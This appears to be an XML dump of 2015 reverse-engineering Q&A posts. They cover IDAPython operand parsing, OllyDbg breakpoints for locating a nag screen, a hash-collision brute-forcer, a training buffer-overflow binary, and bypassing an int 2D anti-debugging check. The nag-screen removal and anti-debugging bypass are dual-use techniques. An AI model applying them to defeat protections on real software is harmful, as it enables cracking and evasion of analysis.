  <row Id="9040" PostTypeId="1" AcceptedAnswerId="9042" CreationDate="2015-06-01T14:00:03.133" Score="6" ViewCount="4779" Body="&lt;p&gt;Say given the following line in Ida Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [rsp+3F8h+var_3F8], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I parse and access the items inside the &lt;code&gt;[ ]&lt;/code&gt;?&#xA;What I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;idc.GetOpnd(addr, n)&lt;/code&gt;         # returns a string '&lt;code&gt;[rsp+3F8h+var_3F8]&lt;/code&gt;'&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;idc.GetOperandValue(addr, n)&lt;/code&gt; # returns &lt;code&gt;4&lt;/code&gt;, which is explained in the &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/python/idc.py&quot; rel=&quot;noreferrer&quot;&gt;idc.py&lt;/a&gt; file as follows&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;def GetOperandValue(ea, n):&#xA;  &quot;&quot;&quot; &lt;br&gt;&#xA;  Get number used in the operand&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This function returns an immediate number used in the operand&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;@param ea: linear address of instruction @param n: the operand number&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;@return:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;value operand is an immediate value =&gt; immediate value&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;operand has a displacement =&gt; displacement&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;operand is a direct memory ref =&gt; memory address&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;operand is a register =&gt; register number&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;operand is a register phrase =&gt; phrase number &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;otherwise =&gt; -1 &lt;br&gt;&#xA;  &quot;&quot;&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I access the elements of the 'phrase', i.e. the &lt;code&gt;rsp&lt;/code&gt;, &lt;code&gt;3F8h&lt;/code&gt;, and &lt;code&gt;var_3F8&lt;/code&gt;? I am looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_op_phrase = idc.ParseOperandPhrase(ea, n)&#xA;my_op_phrase[0] #-&amp;gt; 'rsp'&#xA;my_op_phrase[0].type #-&amp;gt; idaapi.o_reg&#xA;&#xA;my_op_phrase[1] #-&amp;gt; 0x3F8h&#xA;my_op_phrase[1].type #-&amp;gt; idaapi.o_imm&#xA;&#xA;my_op_phrase[2] #-&amp;gt; 'var_3F8'&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this even possible or am I misunderstanding something?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="245" LastEditDate="2023-06-29T21:29:35.633" LastActivityDate="2023-06-29T21:29:35.633" Title="Ida Pro: parsing complex operand expression using IDAPython" Tags="|ida|disassembly|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9041" PostTypeId="1" CreationDate="2015-06-01T14:12:19.263" Score="3" ViewCount="98" Body="&lt;p&gt;I am trying to put a custom message on a &quot;sound box&quot; in a stuffed animal. Here is a picture of the circuit board:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/itYBj.jpg&quot; alt=&quot;board&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue wires lead are connected to the speaker. I am thinking that those pads coming out of the chip that are not connected to anything might be used to put a new message on there. This board was in an &quot;animal&quot; and was not originally supposed to be modified so there is no microphone. Would this be possible? Any ideas on how I would do it?&lt;/p&gt;&#xA;" OwnerUserId="12664" LastActivityDate="2015-06-01T14:12:19.263" Title="&quot;Sound Box&quot; Custom Message" Tags="|hardware|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="2" ParentId="9040" CreationDate="2015-06-01T14:17:14.173" Score="4" Body="&lt;p&gt;Note that the original assembly instruction was &lt;em&gt;probably&lt;/em&gt; &lt;code&gt;mov [rsp+4], 0&lt;/code&gt;(*). This is why &lt;code&gt;idc.GetOperandValue&lt;/code&gt; returns 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially with older compilers, that used &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;pop&lt;/code&gt; a lot, the value of &lt;code&gt;rsp&lt;/code&gt; varies wildly during the execution of a function. What is &lt;code&gt;esp+8&lt;/code&gt; now would be &lt;code&gt;esp+12&lt;/code&gt; after a push; what would be &lt;code&gt;rsp+8&lt;/code&gt; now would be &lt;code&gt;rsp&lt;/code&gt; after a pop. So, while reading a piece of (plain) assembly code it's very difficult to keep track of which stack location gets accessed when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This has improveed recently; x64 abis use registers to pass parameters so the code doesn't &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;pop&lt;/code&gt; as much anymore, and compilers like &lt;code&gt;gcc&lt;/code&gt; make enough space on the stack and directly put parameters in addresses relative to &lt;code&gt;esp&lt;/code&gt; even on 32 bit, so &lt;code&gt;esp&lt;/code&gt;/&lt;code&gt;rsp&lt;/code&gt; don't change that much anymore. But still, there's a lot of old code to reverse.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To improve the situation, IDA assigns variable names to stack locations, like your &lt;code&gt;var_3F8&lt;/code&gt;. Whenever an instruction does some &lt;code&gt;sp&lt;/code&gt; relative addressing, IDA uses the variable name, and emits an additional offset to account for changes to the stack pointer since the function start. So if your original code looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [rsp+8], rax&#xA;sub rsp, 128&#xA;mov [rsp+136], rbx&#xA;push rcx&#xA;mov [rsp+144], rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it accesses the same memory address in every case. Ida converts this to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [rsp+0+var_8], rax&#xA;sub rsp, 128&#xA;mov [rsp+128+var_8], rbx&#xA;push rcx&#xA;mov [rsp+136+var_8], rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, these changes are display only, they do not change your binary! Getting the operands will still return &lt;code&gt;8&lt;/code&gt;, &lt;code&gt;136&lt;/code&gt; and &lt;code&gt;144&lt;/code&gt;, not the values ida displays to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to analyze this automatically, you can &lt;em&gt;either&lt;/em&gt; keep track of the stack pointer offset yourself, and adjust the result of &lt;code&gt;GetOperandValue&lt;/code&gt; accordingly, &lt;em&gt;or&lt;/em&gt; you'll have to use the python string functions on the output of &lt;code&gt;GetOpnd&lt;/code&gt;, throw away the middle part, and compare the right part (the variable names).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) which seems a bit strange now i think of it, since you're obviously using 64 bit, as your stack pointer is &lt;code&gt;rsp&lt;/code&gt;, which would hint at 8 byte alignment.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-01T14:17:14.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostTypeId="2" ParentId="9040" CreationDate="2015-06-01T14:22:43.580" Score="3" Body="&lt;p&gt;Assuming &lt;code&gt;addr&lt;/code&gt; is the EA of &lt;code&gt;mov [rsp+3F8h+var_3F8], 0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;re.findall('\[(.*)\]', idc.GetDisasm(addr))[0].split('+')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;yields the list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['rsp', '3F8h', 'var_3F8']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-01T14:22:43.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="1" AcceptedAnswerId="9050" CreationDate="2015-06-02T10:37:33.603" Score="1" ViewCount="466" Body="&lt;p&gt;I'm trying to remove a nag screen. Its window style is 16C80000, which should translate to &lt;code&gt;WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU&lt;/code&gt;. So, in the call to CreateWindowExW() I set a conditional breakpoint at &lt;code&gt;PUSH EAX&lt;/code&gt;, which determines the style. &lt;br/&gt;&#xA;The conditions I tried were &lt;code&gt;[EAX] == 16C80000&lt;/code&gt; and &lt;code&gt;[EAX] == WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU&lt;/code&gt;. Both give the same results. &lt;br/&gt;&#xA;What happens is that the conditional breakpoint pretty much acts as a normal breakpoint I think. I get breakpoints at &lt;code&gt;Style = WS_POPUP&lt;/code&gt;, and many other styles which I didn't specify. What I'd like is to find out what I'm doing wrong so that I can find the call to that goddamn nag :)&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.gyazo.com/e04bae3cdaecec0531553e372c5be442.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12632" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.577" LastActivityDate="2015-06-02T11:40:19.080" Title="False positives with conditional breakpoint in OllyDBG" Tags="|ollydbg|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostTypeId="1" AcceptedAnswerId="9057" CreationDate="2015-06-02T10:54:20.797" Score="2" ViewCount="682" Body="&lt;p&gt;I have the following hash algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    unsigned long specialNum=0x4E67C6A7;&#xA;    unsigned int ch;&#xA;    char inputVal[]=&quot;                        AAPB2GXG&quot;;&#xA;&#xA;&#xA;    for(int i=0;i&amp;lt;strlen(inputVal);i++)&#xA;    {&#xA;        ch=inputVal[i];&#xA;&#xA;        ch=ch+(specialNum*32);&#xA;        ch=ch+(specialNum/4);&#xA;&#xA;        specialNum=bitXor(specialNum,ch);&#xA;    }&#xA;&#xA;    int outputVal=specialNum;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bitXor simply does the Xor operation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int bitXor(int a,int b)&#xA;{&#xA;    return (a &amp;amp; ~b) | (~a &amp;amp; b);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now I want to find an Algorithm that can generate an &quot;inputVal&quot;&lt;/strong&gt; when the outputVal is given.(The generated inputVal may not be necessarily be same as the original inputVal.That's why I want to find collision).&#xA;This means that I need to find an algorithm that generates a solution that when fed into the above algorithm results same as specified &quot;outputVal&quot;.&#xA;The length of solution to be generated should be &lt;strong&gt;less than or equal to 32&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10034" LastActivityDate="2015-06-03T14:01:24.173" Title="How do I find a collision for a simple hash algorithm" Tags="|c++|c|static-analysis|patch-reversing|hash-functions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="1" AcceptedAnswerId="9051" CreationDate="2015-06-02T11:21:24.617" Score="1" ViewCount="331" Body="&lt;p&gt;It seems &lt;code&gt;abo1.exe advanced_buffer_overflow&lt;/code&gt; challenge is packed, I've tried to unpack it, but I am still beginner in unpacking.It seems it is packed manually. I've also tried OllyDump and ImortREC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any body give me a hand on unpacking it?&#xA;Here is the file : &lt;a href=&quot;http://www.binary-auditing.com/binary-auditing-training-package.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.binary-auditing.com/binary-auditing-training-package.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;password : fdcd2ff4c2180329053650f3075d39f4&lt;/p&gt;&#xA;" OwnerUserId="12671" LastEditorUserId="12671" LastEditDate="2015-06-02T11:32:54.273" LastActivityDate="2015-06-02T11:54:44.673" Title="Unpacking abo1.exe advanced buffer overflow challenge from www.binary-auditing.com" Tags="|unpacking|packers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9050" PostTypeId="2" ParentId="9046" CreationDate="2015-06-02T11:40:19.080" Score="2" Body="&lt;p&gt;if you are setting a breakpoint on the specific address 0x412d18 you must make sure that the specific address will be hit ( setting a breakpoint on a specific address and expecting it to break on CreateWindowCalls is not going to work )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to set a common breakpoint to catch all CreateWindow Calls you should set a breakpoint on system dll  (user32.dll)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should use a stack expression for the conditional break  [esp+XXX] == 0x16xxxxxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a sample on winxpsp3 mspaint.exe &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoints&#xA;Address    Module     Active                           Disassembly        Comment&#xA;7E42D0A3   USER32     Log when [esp+10] == 44008200    MOV     EDI, EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the bp is set on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7E42D0A3 USER32.CreateWindowExW [esp+10] == 44008200 /$ 8BFF MOV EDI, EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;never pause&lt;br&gt;&#xA;break on condition&lt;br&gt;&#xA;log always&lt;br&gt;&#xA;condition [esp+10] = xxxxxxxx&lt;br&gt;&#xA;expression [esp+10]     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mE9gm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Message&#xA;&#xA;COND: style = = 88000000&#xA;&#xA;COND: style = = 02CFC000&#xA;COND: style = = 52000000&#xA;COND: style = = 54000000&#xA;COND: style = = 5400014E&#xA;COND: style = = 56002800&#xA;COND: style = = 56008200&#xA;COND: style = = 56001400&#xA;COND: style = = 56004100&#xA;COND: style = = 44001430&#xA;COND: style = = 44008200  &amp;lt;------- broken and function args logged for my specific condition&#xA;CALL to CreateWindowExW from MFC42u.5F811CB2&#xA;  ExtStyle = 0&#xA;  Class = &quot;AfxWnd42u&quot;&#xA;  WindowName = &quot;Colors&quot;&#xA;  Style = WS_CHILD|WS_CLIPSIBLINGS|8200  &amp;lt;------------&#xA;  X = FFFFFEFD (-259.)&#xA;  Y = FFFFFFCD (-51.)&#xA;  Width = 103 (259.)&#xA;  Height = 33 (51.)&#xA;  hParent = 00080226 ('Paint',class='MSPaintApp')&#xA;  hMenu = 0000E818&#xA;  hInst = 01000000&#xA;  lParam = NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-06-02T11:40:19.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9051" PostTypeId="2" ParentId="9048" CreationDate="2015-06-02T11:54:44.673" Score="3" Body="&lt;p&gt;The file abo1.exe (MD5: 22702FBFC5B198080ACA8F0BE6F2DF0B) doesn't look packed to me. Looking at the PE structure we can see the entry point is in the .text section and the file has a few imports:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eT3iZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling this entry point shows some code that looks normal. The main function gets the command line arguments and passes them to another function  before terminating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8BA6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at this other function we can see a strcpy to a stack destination buffer with an attacker supplied source buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjQYe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge from the training perspective is to exploit this stack based buffer overflow in order to gain arbitrary code execution (which is beyond the scope of this answer).&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2015-06-02T11:54:44.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostTypeId="1" AcceptedAnswerId="9054" CreationDate="2015-06-02T14:19:53.027" Score="1" ViewCount="1333" Body="&lt;p&gt;I'm using OllyDbg v2.01 to analyse a specific binary. The binary is calling &lt;em&gt;createProcess()&lt;/em&gt; and afterwards it's checking the return value via &lt;em&gt;test eax, eax&lt;/em&gt;.&#xA;EAX contains 00000001 so the createProcess() call must have been successful. Nevertheless, OllyDbg crashes if I want to step over &lt;em&gt;test eax, eax&lt;/em&gt; and I have absolutely no idea why. Is there any way to find out what's the problem for Olly? Normally, I can see if there is an access violation or something else going on which might bother Olly but in this case, there is nothing.&lt;/p&gt;&#xA;" OwnerUserId="1345" LastActivityDate="2015-06-02T14:50:16.117" Title="How to find out why OllyDbg crashes?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9054" PostTypeId="2" ParentId="9053" CreationDate="2015-06-02T14:50:16.117" Score="3" Body="&lt;p&gt;You can debug OllyDbg with another instance of OllyDbg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In OllyDbg process #1, run OllyDbg process #2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In OllyDbg process #2, run your target binary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When OllyDbg process #2 crashes, you can analyze the crash via&#xA;OllyDbg process #1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-02T14:50:16.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9056" PostTypeId="1" CreationDate="2015-06-02T19:43:03.643" Score="1" ViewCount="892" Body="&lt;p&gt;I'm reversing a program that dynamically loads &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680634%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;SetUnhandledExceptionFilter&lt;/a&gt; and uses it to set a function as an exception handler. It then calls &lt;code&gt;int 2D&lt;/code&gt; - so that execution transfers to the function only when the program is not being debugged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to see how the function behaves dynamically - specifically because I'm having trouble understanding how it works with its &lt;code&gt;EXCEPTION_POINTER*&lt;/code&gt; parameter - but I can't really do that because execution won't even transfer there while I'm debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make IDA execute int 2D so that I can see execution transfer to the exception handler function and see its behavior dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following the advice in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6268/handling-int-2d-anti-debugger-technique-in-ida-pro?rq=1&quot;&gt;this answer&lt;/a&gt;, but it didn't help: changing &lt;code&gt;0x2DCD&lt;/code&gt; to &lt;code&gt;0x2DFF&lt;/code&gt; had the exact same effect - the program crashed.&lt;/p&gt;&#xA;" OwnerUserId="12673" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-06-03T15:41:13.207" Title="How can I let IDA execute int 2D so that execution transfers to the exception handler function?" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9057" PostTypeId="2" ParentId="9047" CreationDate="2015-06-02T20:59:40.313" Score="3" Body="&lt;p&gt;A Lame brute forcer with an arbitrary seed value using the code you provided finds a few collisions under an hour&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;int bitXor(int a,int b) { return (a &amp;amp; ~b) | (~a &amp;amp; b); }&#xA;void hashit( void) {  &#xA;    SYSTEMTIME st;  &#xA;    unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;&#xA;    unsigned int ch;&#xA;    char inputVal[32]={0};&#xA;    GetSystemTime(&amp;amp;st);&#xA;    printf(&quot;System time is : %02d:%02d:%02d:%02d\nBruteforce seed = 0xfffffff0\n&quot;, &#xA;    st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);&#xA;    for (unsigned __int64 in = 0xfffffff0; in &amp;lt; 0xffffffffffffffff; in++) {     &#xA;        _i64toa_s( in,inputVal,sizeof(inputVal),10);        &#xA;        for(unsigned int i=0;i&amp;lt;strlen(inputVal);i++){&#xA;            ch=inputVal[i];&#xA;            ch=ch+(specialNum*32);&#xA;            ch=ch+(specialNum/4);&#xA;            specialNum=bitXor(specialNum,ch);&#xA;        }&#xA;        if(specialNum == savedspecialNum) {&#xA;            GetSystemTime(&amp;amp;st);&#xA;            printf(&quot;The system time is: %02d:%02d:%02d:%02d\n&quot;, &#xA;            st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);&#xA;            printf(&quot;%I64x\t%x\n&quot;,in,specialNum);&#xA;        }&#xA;        specialNum = savedspecialNum;&#xA;    }&#xA;}&#xA;void main (void) {&#xA;    hashit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System time is : 06:17:40:328&#xA;Bruteforce seed = 0xfffffff0&#xA;The system time is: 06:51:23:343&#xA;198172e4a       4e67c6a7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An improved but still Lame bruteforcer finds the first collision in 80 odd seconds      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;char in[33] = {&quot;4294967280&quot;};&#xA;unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;&#xA;SYSTEMTIME lt;&#xA;void main (void ){ unsigned int ch; GetLocalTime(&amp;amp;lt);&#xA; printf(&quot;BruteForce Started At %02d:%02d:%02d:%02d Seed used 0n%s 0x%I64x\n&quot;,&#xA; lt.wHour, lt.wMinute,lt.wSecond,lt.wMilliseconds,in,_strtoui64(in,0,10));&#xA; while(in[0] &amp;lt;= 57) { while(in[1] &amp;lt;= 57) { while(in[2] &amp;lt;= 57) {&#xA;    while(in[3] &amp;lt;= 57) { while(in[4] &amp;lt;= 57) { while(in[5] &amp;lt;= 57) {&#xA;       while(in[6] &amp;lt;= 57) { while(in[7] &amp;lt;= 57) { while(in[8] &amp;lt;= 57) {&#xA;          while(in[9] &amp;lt;= 57 ) { for(unsigned int i=0;i&amp;lt;10;i++) {&#xA;            ch=in[i]; ch=ch+(specialNum*32); ch=ch+(specialNum/4);&#xA;            specialNum=specialNum^ch;&#xA;           } if(specialNum == savedspecialNum) { GetLocalTime(&amp;amp;lt);&#xA;            printf(&quot;First Collision Found 0n%s 0x%I64x\nBruteForce Ended &quot;&#xA;            &quot;At %02d:%02d:%02d:%02d\n&quot;,in,_strtoui64(in,0,10),lt.wHour,&#xA;            lt.wMinute,lt.wSecond,lt.wMilliseconds);return;&#xA;           }specialNum = savedspecialNum; in[9]++;&#xA;          }in[8]++;in[9]='0';&#xA;         }in[7]++;in[8]='0','0';&#xA;        }in[6]++;in[7]='0','0','0';&#xA;       }in[5]++;in[6]='0','0','0','0';&#xA;      }in[4]++;in[5]='0','0','0','0','0';&#xA;     }in[3]++;in[4]='0','0','0','0','0','0';&#xA;    }in[2]++;in[3]='0','0','0','0','0','0','0';&#xA;   }in[1]++;in[2]='0','0','0','0','0','0','0','0';&#xA;  }in[0]++;in[1]='0','0','0','0','0','0','0','0','0';&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;strarray.exe&#xA;BruteForce Started At 19:26:45:437 Seed used 0n4294967280 0xfffffff0&#xA;First Collision Found 0n6846623306 0x198172e4a&#xA;BruteForce Ended At 19:28:01:921&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-06-03T14:01:24.173" LastActivityDate="2015-06-03T14:01:24.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9058" PostTypeId="2" ParentId="9056" CreationDate="2015-06-03T15:41:13.207" Score="2" Body="&lt;p&gt;The KERNEL32.UnhandledExceptionFilter() is special, because it checks for the presence of a debugger, and refuses to call the process-defined UnhandledExceptionFilter() if one is present.  In order to reach the process-defined routine, you need to set a breakpoint on NTDLL.NtQueryInformationProcess(), and check for these parameters on the stack: -1, 7, a pointer, 4, 0.  When you see it, you can step over the function, change the return value to -1, and resume execution.  Then the filter function will be called.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-06-03T15:41:13.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="2" ParentId="1879" CreationDate="2015-06-04T06:29:29.827" Score="17" Body="&lt;p&gt;There are various great alternatives here. However, all of them seem to be unmaintained. The tool I recommend you is Diaphora &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joxeankoret/diaphora&lt;/a&gt; (Disclaimer: I'm the author). Is a pure Python plugin for IDA Pro for doing program diffing, is the only one that can import/export structures, enumerations, etc..., the only one that makes use of the Hex-Rays decompiler and, which is more interesting, it's maintained: the last time I committed a change was last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some screenshots: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffing MS015-034:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xvmu8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffing pseudo-code (MS015-050):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1sqd3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffing MS015-050:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EumVO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-06-04T06:29:29.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9061" PostTypeId="1" CreationDate="2015-06-04T13:55:00.557" Score="2" ViewCount="530" Body="&lt;p&gt;I was doing binary diffing, I want to know why  &lt;code&gt;mov eax,ebx&lt;/code&gt; is used instead of &lt;code&gt;push ebx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the binary diffing image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before patch :&lt;img src=&quot;https://i.stack.imgur.com/98qtP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After patch : &lt;img src=&quot;https://i.stack.imgur.com/dyAqw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12671" LastActivityDate="2015-06-04T14:34:03.250" Title="Binary diffing: Why moving ebx to eax, instead of pushing ebx?" Tags="|assembly|binary-analysis|x86|bin-diffing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="2" ParentId="9061" CreationDate="2015-06-04T14:13:23.950" Score="1" Body="&lt;p&gt;It may be because the calling convention changed from __cdecl (using the stack to receive the arguments) to __fastcall or even to a calling convention invented by the compiler (using EAX as the register holding the same information that was pushed on to the stack in the previous version).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-06-04T14:13:23.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
